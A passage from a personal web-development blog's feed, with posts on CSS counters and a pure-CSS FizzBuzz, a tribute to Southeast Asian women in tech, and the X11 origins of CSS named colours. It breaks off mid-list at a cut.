&lt;p&gt;The end result looks something like this:&lt;/p&gt;
&lt;img src=&quot;/images/posts/css-counters/counters.png&quot; srcset=&quot;/images/posts/css-counters/counters@2x.png 2x&quot; alt=&quot;Example of how to use counter-increment and counter-reset for chapter titles&quot;&gt;
&lt;p&gt;This example used the default counter increment and reset values, but if I&apos;d added some other numbers in there, like used negative numbers and stuff, let&apos;s just say there are a lot of number sequences we can play with.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;nav {
  counter-reset: top-level -5;
}

h1::before {
  content: counter(top-level) &amp;quot;. &amp;quot;;
  counter-increment: top-level 2;
}

h1 {
  counter-reset: sub-level;
}

h2::before {
  content: counter(top-level) &amp;quot;.&amp;quot; counter(sub-level) &amp;quot; &amp;quot;;
  counter-increment: sub-level 4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Negative chapter numbers? Sure…&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/css-counters/counters2.png&quot; srcset=&quot;/images/posts/css-counters/counters2@2x.png 2x&quot; alt=&quot;Tweaking the increment and reset values&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Some things to look out for when using these properties on the same element or more than once on the same element are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If an element increments or resets a counter and also uses it in the &lt;code&gt;content&lt;/code&gt; property of its pseudo-elements, the counter is used &lt;em&gt;after&lt;/em&gt; being incremented/reset.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h3 {
  counter-reset: apple -1; /* Set apple to -1 */
}

h3::before {
  content: counter(apple);
  counter-increment: apple -4; /* Minus 4 from apple */
}

/* The counter value will end up being -5, but any subsequent h3 will also be -5 */
/* because it gets reset to -1 every time */
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If an element has both &lt;code&gt;counter-reset&lt;/code&gt; and &lt;code&gt;counter-increment&lt;/code&gt;, the counter is reset first then incremented&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the same counter is specified more than once in the value of &lt;code&gt;counter-reset&lt;/code&gt; or &lt;code&gt;counter-increment&lt;/code&gt;, each reset/increment is processed in the order specified&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h3 {
  counter-reset: apple 4 apple; /* Resets apple to 0 */
}

h3 {
  counter-increment: banana 3 banana 2; /* Increments banana counter by 5 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cascading rules apply as per normal so for the use case of resetting multiple counters, they have to be specified in the same &lt;code&gt;counter-reset&lt;/code&gt; property&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h4 {
  counter-reset: apple 23;
}
h4 {
  counter-reset: banana 4;
}
/* Will only reset the banana counter */

/* To reset both do the following: */
h4 {
  counter-reset: apple 23 banana 4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;New stuff in Level 3&lt;/h2&gt;
&lt;p&gt;Level 3 of the CSS Lists defines the &lt;code&gt;::marker&lt;/code&gt; pseudo-element, the &lt;code&gt;list-item&lt;/code&gt; display type that generates markers, and several properties controlling the placement and styling of markers.&lt;/p&gt;
&lt;p&gt;When we apply a &lt;code&gt;display: list-item&lt;/code&gt; to an element, it generates a &lt;code&gt;::marker&lt;/code&gt; pseudo-element. There is no other way of generating &lt;code&gt;::marker&lt;/code&gt; pseudo-elements. The marker is a symbol or ordinal that denotes the start of each item in the list.&lt;/p&gt;
&lt;p&gt;The marker box is generated by the &lt;code&gt;::marker&lt;/code&gt; pseudo-element as the first-child of the list item, before the &lt;code&gt;::before&lt;/code&gt; pseudo-element, if one exists. Marker boxes are only applicable to list items and only a limited set of properties can be used on it, namely, all font properties, the &lt;code&gt;color&lt;/code&gt; property and &lt;code&gt;text-combine-upright&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Remember all the glorious numbering systems we talked about above? These can be called into play with the &lt;code&gt;list-style-type&lt;/code&gt; property on the list item, which generates the relevant marker string as the value of its counter.&lt;/p&gt;
&lt;p&gt;Support for the different numbering systems varies across browsers, for example &lt;code&gt;amaric&lt;/code&gt; is only supported in Safari 4.1 onwards, while &lt;code&gt;cjk-decimal&lt;/code&gt; is only supported in Firefox 28 onwards. I suggest referencing this &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type#Browser_compatibility&quot;&gt;granular compatibility table on MDN&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;div {
  counter-reset: apple;
}

h3::before {
  counter-increment: apple;
}

.cjk-decimal h3::before {
  content: counter(apple, cjk-decimal);
}
.cjk-heavenly-stem h3::before {
  content: counter(apple, cjk-heavenly-stem);
}
.cjk-earthly-branch h3::before {
  content: counter(apple, cjk-earthly-branch);
}
.hiragana h3::before {
  content: counter(apple, hiragana);
}
.katakana-iroha h3::before {
  content: counter(apple, katakana-iroha);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;The above CSS generates lists numbered with cjk-decimal, cjk-heavenly-stem, cjk-earthly-branch, hiragana and katakana-iroha respectively&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/css-counters/cjk-counters.png&quot; srcset=&quot;/images/posts/css-counters/cjk-counters@2x.png 2x&quot; alt=&quot;CJK counter styles viewed in Firefox 70&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;Pure CSS FizzBuzz&lt;/h2&gt;
&lt;p&gt;Another thing I had been chatting with my friends with lately was how coding tests were administered and apparently most American-based companies will test on data structures and algorithms regardless of whether you&apos;re going for generalist software engineering positions or frontend positions.&lt;/p&gt;
&lt;p&gt;This is probably why I&apos;ll never get hired, because honestly, I suck at coding tests. Should I go study and learn data structures and algorithms properly? Maybe. But truth be told, I&apos;m not very interested in them at the moment.&lt;/p&gt;
&lt;p&gt;On the other hand, it is totally possible to do FizzBuzz in pure CSS, so I&apos;d rather much do that. Because CSS counters let&apos;s you do stuff like FizzBuzz. Number sequences are not a problem at all. This is the version using the &lt;code&gt;::marker&lt;/code&gt; pseudo-element:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ol&amp;gt;
  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;
  …add more li elements, like 30 of them…
  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;li:nth-of-type(3n + 3)::marker {
  content: &amp;quot;Fizz&amp;quot;;
}
li:nth-of-type(5n + 5)::marker {
  content: &amp;quot;Buzz&amp;quot;;
}
li:nth-of-type(3n + 3):nth-of-type(5n + 5)::marker {
  content: &amp;quot;FizzBuzz&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or the better supported version using counter properties and the &lt;code&gt;::before&lt;/code&gt; pseudo-element:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;ol {
  list-style-position: inside;
} /* To line-up all items neatly */

li:nth-of-type(3n + 3),
li:nth-of-type(5n + 5),
li:nth-of-type(3n + 3):nth-of-type(5n + 5) {
  list-style: none; /* When text of Fizz, Buzz or FizzBuzz appears, get rid of the numbers */
}

li:nth-of-type(3n + 3)::before {
  content: &amp;quot;Fizz&amp;quot;;
}
li:nth-of-type(5n + 5)::before {
  content: &amp;quot;Buzz&amp;quot;;
}
li:nth-of-type(3n + 3):nth-of-type(5n + 5)::before {
  content: &amp;quot;FizzBuzz&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Laid out with Flexbox, because I felt like it&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/css-counters/fizzbuzz.png&quot; srcset=&quot;/images/posts/css-counters/fizzbuzz@2x.png 2x&quot; alt=&quot;Fizzbuzz implementation in pure CSS using ::marker and ::before respectively&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;People deal with self-doubt in different ways. CSS is my outlet. So there. Anyway, all the counters stuff I was messing around to test things out is &lt;a href=&quot;https://codepen.io/huijing/pen/ExxPQKy&quot;&gt;in this CodePen&lt;/a&gt;, if anyone is interested.&lt;/p&gt;
&lt;h2&gt;Moar resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=9OH45755NKs&quot;&gt;Not your usual CSS counters (dotCSS video)&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters&quot;&gt;Using CSS counters&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.smashingmagazine.com/2019/07/css-lists-markers-counters/&quot;&gt;CSS Lists, Markers, And Counters&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Let&apos;s talk about some amazing women in my life</title><link>https://chenhuijing.com/blog/lets-talk-about-some-amazing-women/</link><guid isPermaLink="true">https://chenhuijing.com/blog/lets-talk-about-some-amazing-women/</guid><description>Earlier this week, I had the opportunity to speak on a panel during a Women of ID8 Luncheon, which was part of the larger Facebook iD8 event in Singapore. The…</description><pubDate>Sun, 25 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Earlier this week, I had the opportunity to speak on a panel during a Women of ID8 Luncheon, which was part of the larger Facebook iD8 event in Singapore. The panel discussion centred around the topic of “Growing women&apos;s influence in the workplace”.&lt;/p&gt;
&lt;p&gt;The luncheon was organised by my long-time friend, &lt;a href=&quot;http://elishatan.com/&quot;&gt;Elisha Tan&lt;/a&gt;. She is a kick-ass woman in tech doing a myriad of awesome things, including &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies&lt;/a&gt;, a community-led initiative for women in Asia to connect, learn, and advance as programmers.&lt;/p&gt;
&lt;p&gt;We first met around the time she was launching the inaugural TechLadies Bootcamp and she asked if I wanted to speak on her panel. Are you sensing a trend here? At the time, I hadn&apos;t done much public speaking, probably a grand total of 3 meetup talks to my name. But she put me on there anyway.&lt;/p&gt;
&lt;img src=&quot;/images/posts/women-in-tech/techladies.jpg&quot; srcset=&quot;/images/posts/women-in-tech/techladies@2x.jpg 2x&quot; alt=&quot;Panel at inaugural TechLadies launch event&quot;&gt;
&lt;p&gt;I had attended lots of tech meetups previously and it never occured to me that most of the audience was male, until I sat in front of a room full of women.&lt;/p&gt;
&lt;p&gt;That was what prompted me to blurt out (in my typical full-on Singlish accent) “Wah, so many char bor!”, which brought endless amusement to a lot of my friends.&lt;/p&gt;
&lt;img src=&quot;/images/posts/women-in-tech/infamous.jpg&quot; srcset=&quot;/images/posts/women-in-tech/infamous@2x.jpg 2x&quot; alt=&quot;My comment captured on social media forever&quot;&gt;
&lt;p&gt;Fast forward more than 3 years, and here we are today. Me, still my typical nonsensical self (ask the people who&apos;ve seen me since day 1), albeit with slightly more public speaking sprinkled in.&lt;/p&gt;
&lt;p&gt;While Elisha has continued to push forward her various initiatives to advance women in tech and is now the Developer Programs Manager for APAC at Facebook.&lt;/p&gt;
&lt;p&gt;Which brings me back to the luncheon mentioned at the start of this story. I had since gotten the opportunity to speak internationally at a number of tech events, and gotten to know many awesome people in the industry.&lt;/p&gt;
&lt;h2&gt;People gave me a shot&lt;/h2&gt;
&lt;p&gt;But none of this would have been possible if not for women of influence like &lt;a href=&quot;https://twitter.com/jensimmons&quot;&gt;Jen Simmons&lt;/a&gt; who pushed my name forward when nobody knew who I was, and conference organisers like &lt;a href=&quot;https://twitter.com/serrynaimo&quot;&gt;Thomas Gorissen&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/charis&quot;&gt;Charis Rooda&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/pepelsbey_&quot;&gt;Vadim Makeev&lt;/a&gt; who took a chance on me when I had no prior track record whatsoever.&lt;/p&gt;
&lt;p&gt;I can&apos;t do much to repay them directly, because their faith and support was priceless. But I can do this (and you can quote me):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Acknowledge and highlight the achievements of the women around me from this region as publicly as I can.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There are many women in the tech industry who choose not to be public, and that&apos;s perfectly fine. But there are also many who just need an opportunity, a shout-out, someone to shine the spotlight on them for once.&lt;/p&gt;
&lt;p&gt;I&apos;ve always highlighted the fact that I am from the region of Southeast Asia. Growing up, all students were made aware of ASEAN (Association of Southeast Asian Nations), from things like economic growth and politics, to sports (i.e. the Southeast Asian games). I just saw all 11 countries in my region as “us”.&lt;/p&gt;
&lt;p&gt;Which is why I don&apos;t want to be seen as an outlier. I want the world to know that if you think I&apos;m good, you should see the whole pool of talent we have over this side of the planet. That we&apos;ve had for a long time but you never knew about us.&lt;/p&gt;
&lt;h2&gt;My girls being casually awesome&lt;/h2&gt;
&lt;p&gt;So I want to mention just a few of these amazing women in tech whom I have the privilege of calling my friends.&lt;/p&gt;
&lt;p&gt;The team at &lt;a href=&quot;https://www.pwdo.org/&quot;&gt;PWDO&lt;/a&gt;, who had organised Southeast Asia&apos;s longest running web development conference, Form, Function &amp;amp; Class, &lt;a href=&quot;https://twitter.com/sinongkit&quot;&gt;Kit Valmadrid&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/sofimi&quot;&gt;Sophia Lucero&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/sarahcada&quot;&gt;Sarah Cada&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;I love the folks at &lt;a href=&quot;https://twitter.com/PWDO?ref_src=twsrc%5Etfw&quot;&gt;@PWDO&lt;/a&gt; more than words can ever express ❤️&lt;br&gt;Meanwhile, recap of last year&amp;#39;s excitement, dedicated to conference organisers everywhere 👇&lt;br&gt;“Murphy’s Law at its finest: the Form Function &amp;amp; Class finale”&lt;a href=&quot;https://t.co/VgHtcP53bo&quot;&gt;https://t.co/VgHtcP53bo&lt;/a&gt;&lt;/p&gt;&amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1164728301891416064?ref_src=twsrc%5Etfw&quot;&gt;August 23, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/RenettaRenula&quot;&gt;Aysha Anggraini&lt;/a&gt;, my beloved mind twin who is the epitome of sass (you should hear her speak, really) and one of the best frontend developers I know. Oh, and she also happens to be a fellow Malaysian.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/duXP9J_jaNo&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Speaking of Malaysians, there&apos;s also &lt;a href=&quot;https://twitter.com/piratefsh&quot;&gt;Chong Sher Minn&lt;/a&gt;, who gave a brilliant talk at JSConf EU earlier this year. And queen of CSS herself, &lt;a href=&quot;https://twitter.com/meowlivia_&quot;&gt;Olivia Ng&lt;/a&gt;, who is simply the best at designing creative layouts with CSS grid.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/nC5q5JxLjnY&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Oh, how about &lt;a href=&quot;https://twitter.com/JecelynYeen&quot;&gt;Jecelyn Yeen&lt;/a&gt;, who took on the mammoth task of organising the inaugural &lt;a href=&quot;https://2019.ng-my.org/&quot;&gt;NG-MY&lt;/a&gt;, which was Southeast Asia&apos;s first Angular conference.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;&lt;a href=&quot;https://twitter.com/JecelynYeen?ref_src=twsrc%5Etfw&quot;&gt;@JecelynYeen&lt;/a&gt; One of my favorite Google Developers Expert 💛❤💜💙 &lt;a href=&quot;https://t.co/SVt3o7otEh&quot;&gt;pic.twitter.com/SVt3o7otEh&lt;/a&gt;&lt;/p&gt;&amp;mdash; Su Myat Htun (@devsumyat) &lt;a href=&quot;https://twitter.com/devsumyat/status/1157585146532384770?ref_src=twsrc%5Etfw&quot;&gt;August 3, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;There&apos;s also &lt;a href=&quot;https://twitter.com/yishusee&quot;&gt;See Yishu&lt;/a&gt;, whom I refer to as the pride of Singapore, because her style of delivery is so perfectly Singaporean. Wonderfully humourous, while still getting the point across.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/pEVGAn2qNtU&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;And &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Gao Wei&lt;/a&gt;, my favourite person in the world, who does a tonne of amazing things, not for glory or recognition, but out of pure passion and curiosity. She also happens to be a great speaker (though she doesn&apos;t seem to think so herself), and a bad-ass climber.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;.&lt;a href=&quot;https://twitter.com/wgao19?ref_src=twsrc%5Etfw&quot;&gt;@wgao19&lt;/a&gt; wrote large sections of our new React-Redux docs, and has done a fantastic job (which I think is what got her involved with Docusaurus in the first place). She&amp;#39;s worth following, and this umbrella issue on documenting Docusaurus v2 looks worth reading! &lt;a href=&quot;https://t.co/oltj6XEgh2&quot;&gt;https://t.co/oltj6XEgh2&lt;/a&gt;&lt;/p&gt;&amp;mdash; Mark Erikson (@acemarke) &lt;a href=&quot;https://twitter.com/acemarke/status/1156012102114430981?ref_src=twsrc%5Etfw&quot;&gt;July 30, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/lfsNtDEcw5E&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;There are more than 7 billion people in the world. The odds that any of us are in each other&apos;s lives is nothing short of a miracle. Yet, I have managed to cross paths with these amazing human beings.&lt;/p&gt;
&lt;p&gt;Who happen to be women, who happen to be Asian, who happen to be software developers.&lt;/p&gt;
&lt;p&gt;And I hope you get to cross paths with them too.&lt;/p&gt;
</content:encoded></item><item><title>Where did CSS named colours come from?</title><link>https://chenhuijing.com/blog/where-did-css-named-colours-come-from/</link><guid isPermaLink="true">https://chenhuijing.com/blog/where-did-css-named-colours-come-from/</guid><description>Talk.CSS, which is Singapore&apos;s monthly CSS meetup, has a segment called CSS colour of the month, where we mention 1 of the 148 named CSS colours. This works…</description><pubDate>Thu, 22 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Talk.CSS, which is Singapore&apos;s monthly CSS meetup, has a segment called CSS colour of the month, where we mention 1 of the 148 named CSS colours. This works out to more than 12 years worth of meetups, and I figured we&apos;d run out of meetups before we ran out of colours.&lt;/p&gt;
&lt;p&gt;Since &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt; became a co-organiser, we&apos;ve each been taking turns picking the CSS colour of the month, and for the August edition, she picked &lt;code&gt;snow&lt;/code&gt;. The hex code for &lt;code&gt;snow&lt;/code&gt; is &lt;code&gt;#fffafa&lt;/code&gt;, which works out to a RGB value of &lt;code&gt;rgb(255, 250, 250)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Some of you who are familiar with the notation may already have realised that this gives us a gentle tinge of red. Very, very slight, but still, red. And Wei noticed that &lt;code&gt;snow&lt;/code&gt; was red(ish). I had no idea why that was, but I wanted to figure it out.&lt;/p&gt;
&lt;h2&gt;What do the specifications say?&lt;/h2&gt;
&lt;p&gt;There is a specification called the &lt;a href=&quot;https://drafts.csswg.org/css-color/&quot;&gt;CSS Color Module Level 4&lt;/a&gt; that is currently in Editor&apos;s Draft status and it defines the colour-related properties and values that already exist in CSS1, CSS2 and CSS Color 3, plus new properties and values. So I thought that&apos;d be a good place to start.&lt;/p&gt;
&lt;p&gt;Scroll down to &lt;a href=&quot;https://drafts.csswg.org/css-color/#color-keywords&quot;&gt;section 6.1 on named colours&lt;/a&gt; and we find this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;16 of CSS’s named colors come from HTML originally: aqua, black, blue, fuchsia, gray, green, lime, maroon, navy, olive, purple, red, silver, teal, white, and yellow. Most of the rest come from one version of the X11 color system, used in Unix-derived systems to specify colors for the console.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ah hah! The X11 colour system! The specification also points us to a talk on the history of the X11 colour system by &lt;a href=&quot;https://twitter.com/SlexAxton&quot;&gt;Alex Sexton&lt;/a&gt; in his talk entitled &lt;em&gt;Peachpuffs and Lemonchiffons&lt;/em&gt; at &lt;a href=&quot;https://2014.cssconf.com/&quot;&gt;CSSConfUS 2014&lt;/a&gt;:&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/HmStJQzclHc&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;It&apos;s a great talk, and is one of my favourites. If words are not your thing, just skip the rest of the article and watch Alex talk about colours instead. Super entertaining. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Also, as someone who personally knows &lt;a href=&quot;https://svgees.us/&quot;&gt;Chris Lilley&lt;/a&gt;, I&apos;d like to publicly acknowledge that he is one of the nicest, sweetest people I know. Just putting it out there.&lt;/p&gt;
&lt;p&gt;Another fun thing I discovered while reading the specification was that CSS defines a set of &lt;code&gt;&amp;lt;system-color&amp;gt;&lt;/code&gt; values which allow us “to specify colours in a manner that integrate them into the users&apos; graphic environment.”&lt;/p&gt;
&lt;p&gt;There are security and privacy considerations to this particular feature because in theory, this exposes details of the user&apos;s OS settings, which could be used for &lt;a href=&quot;https://en.wikipedia.org/wiki/Fingerprint_(computing)&quot;&gt;fingerprinting&lt;/a&gt;. Also, this may make it easier for malware site builders to create user interfaces that seamlessly correspond to an user&apos;s system.&lt;/p&gt;
&lt;p&gt;The specification does state that several system colours are now defined to be “generic”, hence mitigating this risk. This makes me appreciate the many different angles that the CSS Working Group considers when authoring specifications.&lt;/p&gt;
&lt;p&gt;I really quite like this specification, so do give it a read if you like colours as much as I do.&lt;/p&gt;
&lt;h2&gt;So what&apos;s this X11 all about?&lt;/h2&gt;
&lt;p&gt;I messed around with Linux operating systems quite a bit before I even go into web development, so X11 isn&apos;t something that is foreign to me. X is a portable, network-transparent window system. X11 is version 11 of the X Window System.&lt;/p&gt;
&lt;p&gt;X was built upon an idea developed by &lt;a href=&quot;https://twitter.com/jimgettys&quot;&gt;Jim Gettys&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/bobscheifler/&quot;&gt;Bob Scheifler&lt;/a&gt; from MIT. Why the name X? It is a derivation of a pre-1983 window system called W, which ran under the V operating system.&lt;/p&gt;
&lt;p&gt;From &lt;a href=&quot;https://www.x.org/releases/X11R7.7/doc/man/man7/X.7.xhtml&quot;&gt;the documentation&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The X Window System is a network transparent window system which runs on a wide range of computing and graphics machines.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The documentation also contains a brief section about colour names, but it didn&apos;t go into the choice of colour names. It just mentions that X supports the use of abstract colour names and that the value for this abstract name is obtained by searching one or more colour name databases.&lt;/p&gt;
&lt;p&gt;I came across this &lt;a href=&quot;https://people.csail.mit.edu/jaffer/Color/Dictionaries#Sinclair&quot;&gt;excellent deep dive into colour-name dictionaries&lt;/a&gt; by MIT alum, mathematician and free software developer, &lt;a href=&quot;http://people.csail.mit.edu/jaffer/&quot;&gt;Aubrey Jaffer&lt;/a&gt;. From there, I found some links to early X11 colour dictionaries, and also learned about colour spaces and tuning.&lt;/p&gt;
&lt;p&gt;The X server&apos;s database that contains all the colour names is commonly located at &lt;em&gt;/usr/share/X11/rgb.txt&lt;/em&gt;. Upon further digging into the version control logs, we can find the list of original colour names that were &lt;a href=&quot;https://cgit.freedesktop.org/~alanc/xc-historical/commit/xc/programs/rgb?id=0d0ad63237618270e48503a37ce542139d7abab5&quot;&gt;checked into version control&lt;/a&gt; on 19 August, 1985 by Jim Gettys.&lt;/p&gt;
&lt;p&gt;2 files were added in that initial commit. &lt;em&gt;rgb.c&lt;/em&gt; for parsing the colour list text file and &lt;em&gt;rgb.txt&lt;/em&gt;, which contains a list of 68 colours, each with 2 formats of name, camelcase and lowercase with spaces.&lt;/p&gt;
&lt;p&gt;The next update to &lt;em&gt;rgb.txt&lt;/em&gt; was on 23 February, 1988. That added &lt;code&gt;brown&lt;/code&gt;, &lt;code&gt;grey&lt;/code&gt; and &lt;code&gt;gray&lt;/code&gt; to the list. The RGB values for &lt;code&gt;white&lt;/code&gt; were updated from &lt;code&gt;252, 252, 252&lt;/code&gt; to &lt;code&gt;255, 255, 255&lt;/code&gt; on 13 May, 1988. An entire grey scale consisting of 100 shades of grey were added to the list on 3 September, 1988, and &lt;code&gt;sandy brown&lt;/code&gt; was added the next day.&lt;/p&gt;
&lt;p&gt;I highly suggest taking a look at the commit log because amongst the standard messages like &lt;em&gt;added grey0-100&lt;/em&gt;, there were fun ones like &lt;em&gt;removed blank line; boy, what a stupid program&lt;/em&gt; and &lt;em&gt;made Keith happy&lt;/em&gt; among other gems.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;snow&lt;/code&gt; was added to the list on 26 October, 1989 when the list was expanded with colours which were tuned by Paul Raveling at the Information Sciences Institute (ISI) for the HP monitor. From his notes, we find:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Light and off-white colors, copied from several Sinclair Paints color samples. The intent for adding these is to provide a better choice for light-colored window backgrounds.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ah hah! The next clue is Sinclair Paints. The Sinclair Paint Co. was a family business founded and run by 6 brothers in the 1930s. The company expanded into several different product divisions, and individual family members specialising in certain aspects of operations.&lt;/p&gt;
&lt;p&gt;Unfortunately, the company is now defunct and not much can be found about their original paint swatches. A &lt;a href=&quot;https://www.painttalk.com/f2/research-sinclair-paints-swatches-29863/&quot;&gt;couple&lt;/a&gt; of &lt;a href=&quot;https://www.painttalk.com/f2/sinclair-paint-24403/&quot;&gt;forum posts&lt;/a&gt; on &lt;a href=&quot;http://PaintTalk.com&quot;&gt;PaintTalk.com&lt;/a&gt; are all we have left.&lt;/p&gt;
&lt;p&gt;From Alex&apos;s talk, I also managed to dig up links to the &lt;em&gt;comp.windows.x&lt;/em&gt; mailing list comments which covered the issue of colours, like the one titled “&lt;a href=&quot;https://groups.google.com/d/msg/comp.windows.x/eF3SibkdzVI/ztU9Xm2W0PAJ&quot;&gt;This is pink??&lt;/a&gt;”.&lt;/p&gt;
&lt;h3&gt;Segue into paint colour names&lt;/h3&gt;
&lt;p&gt;Perhaps we won&apos;t be able to figure out why &lt;code&gt;snow&lt;/code&gt; has a red hue, but it does beg the question of how paint companies name their colours. British paint company, &lt;a href=&quot;https://www.farrow-ball.com/&quot;&gt;Farrow &amp;amp; Ball&lt;/a&gt;, which has been around since 1946, is known for their creative colour names.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://slate.com/human-interest/2013/10/farrow-ball-the-story-behind-the-paint-world-s-quirkiest-color-names.html&quot;&gt;Slate.com&lt;/a&gt; did some research into this and found that the quirkier names all have their own back stories, but to an extent, it can be considered a marketing thing.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.behr.com/consumer&quot;&gt;Behr Paint&lt;/a&gt; even put a job listing for the position of &lt;a href=&quot;https://behr.wyng.com/5cae7a903b945305f1665cab&quot;&gt;Color Explorer&lt;/a&gt;, which has since been filled. For people who are interested, there was an &lt;a href=&quot;https://www.reddit.com/r/IAmA/comments/3tyt69/we_create_the_names_of_paint_colors_for_a_living/&quot;&gt;AMA on Reddit&lt;/a&gt; done in 2015 by the folk who name paint colours at &lt;a href=&quot;https://www.ppg.com/&quot;&gt;PPG Architectural Coatings&lt;/a&gt;, where questions about naming colours were answered.&lt;/p&gt;
&lt;h2&gt;Why did CSS use the X11 colours?&lt;/h2&gt;
&lt;p&gt;All the discussion around the development of CSS specifications takes place in the open, so it&apos;s possible, with some patience, to dig up the relevant discussion threads on the &lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/&quot;&gt;www-style mailing list archives&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Much of the discussion took place during between 1996–1998 when CSS1 and CSS2 were released, then again between 2001–2002 when the CSS Color Module Level 3 was being released. Feel free to peruse the message threads if you would like to read some occasionally strongly-worded opinions.&lt;/p&gt;
&lt;ul&gt;
